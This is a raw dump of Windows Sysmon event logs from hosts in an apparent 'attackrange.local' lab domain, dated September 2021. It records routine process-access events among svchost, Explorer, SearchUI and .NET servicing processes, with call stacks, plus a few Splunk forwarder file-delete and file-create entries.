14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.940{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.919{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11DF5139AC996D9CF05C9874F75FC772,SHA256=03D838B3F70D85FD0BDD53B3B432B111D363B8C7985A1B0CE89CB73133B473ED,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013984Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:04.822{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013983Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:04.822{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013982Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:04.822{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013981Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:04.665{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D620F590C7BD31E22A73C5F8CDC87F0B,SHA256=BC85076318FC89C14B29383D1447F2D041867BD8222B0BBC0DC73B0AC358A0DF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.795{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F70-613B-EE09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.769{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F70-613B-EE09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.769{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F70-613B-EE09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.698{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F70-613B-ED09-00000000F001}6732C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.659{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F70-613B-ED09-00000000F001}6732C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.659{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F70-613B-ED09-00000000F001}6732C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:04.569{7BD73061-6F70-613B-EC09-00000000F001}7024C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1b70-0\Microsoft.Office.Tools.Excel.dll2021-09-10 14:45:04.569 23542300x800000000000000044876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.138{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EDA7F9EF00D30DA1F3CDE8294A75F2AC,SHA256=686F7FCFAD4B7F1EE250E9D47FD1584A603431813B5B10FB3F853FBD26E1982F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 